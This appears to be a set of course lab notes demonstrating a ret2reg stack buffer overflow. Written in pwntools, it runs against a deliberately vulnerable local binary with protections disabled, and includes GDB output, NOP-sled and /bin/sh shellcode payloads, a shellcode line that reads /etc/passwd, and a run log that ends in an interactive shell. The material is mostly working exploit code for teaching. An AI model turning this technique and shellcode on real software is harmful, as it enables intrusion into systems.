0x00007fffffffffff raises exception────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "a.out", stopped 0x4011fb in copyData (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011fb → copyData()
───────────────────────────────────────────────────────────────────────────────────────
gef➤ x $rip
0x4011fb <copyData+133>: 0x894855c3
gef➤
Demo
from pwn import *
#Binary we are Exploiting
TARGET = "ret2reg"
# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET
DEMO CODING
from pwn import *
TARGET = "./ret2reg"
# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET
#Calculate offset
OFFSET_STR = 0x62616176
OFFSET = cyclic_find(OFFSET_STR)
#Start Process
p = process(TARGET)
# Connect via GDB
pause()
#Fill Buffer with A's IP should be BBBB
payload = b"A"*OFFSET
payload += b"BBBB"
#Send data and wait
p.writeline(payload)
p.interactive()
#Important, otherwise we get 32 bit Code
context.binary = TARGET
# /bin/sh shellcodes
shellcode = shellcraft.sh()
#Or run a command
shell = shellcraft.execve(path="/bin/cat", argv=["/bin/cat", "/etc/passwd"])
# Check the size of the code.
In [3]: len(asm(shell))
Out[3]: 44
# Look for Magic Bytes
In [6]: print(enhex(asm(shell)))
6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80
#Store NOP
NOP = asm(shellcraft.nop())
#NOPS Below Shell
payload = NOP*51
#Payload itself
payload += asm(shellcraft.sh())
# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)
#Start Process
p = process(TARGET, aslr=False)
#Payload itself
payload += asm(shellcraft.sh())
# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)
payload += b"BBBB"
─────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: 0x9090909090909090 ← $rsp
0x00007fffffffdf28│+0x0008: 0x9090909090909090
0x00007fffffffdf30│+0x0010: 0x9090909090909090
0x00007fffffffdf38│+0x0018: 0x9090909090909090
NOP = b"\x90"
NOP = asm(shellcraft.nop())
payload = NOP*80
payload += asm(shellcraft.sh())
payload = payload.ljust(OFFSET, NOP)
log.info("Payload length %s", len(payload))
payload +=p64(0x00007fffffffdf20)
dang@danglaptop ~/Github/Teaching/6048_Labs/Ret2Reg/demo$ python solve.py
[*] '/home/dang/Github/Teaching/6048_Labs/Ret2Reg/demo/ret2reg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] OFFSET is 184
[!] Could not find executable 'ret2reg' in $PATH, using './ret2reg' instead
[+] Starting local process './ret2reg': pid 24416
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Payload length 184
[*] Switching to interactive mode
--- Overflow the Buffer ---
What is your input >You entered >\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xdf\xff\xff\xff\x7f<
$
$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)
$
$ objdump -D ret2reg| grep ax | grep call
401014: ff d0 call *%rax
402073: ff 9c 00 00 00 b0 f1 lcall *-0xe500000(%rax,%rax,1)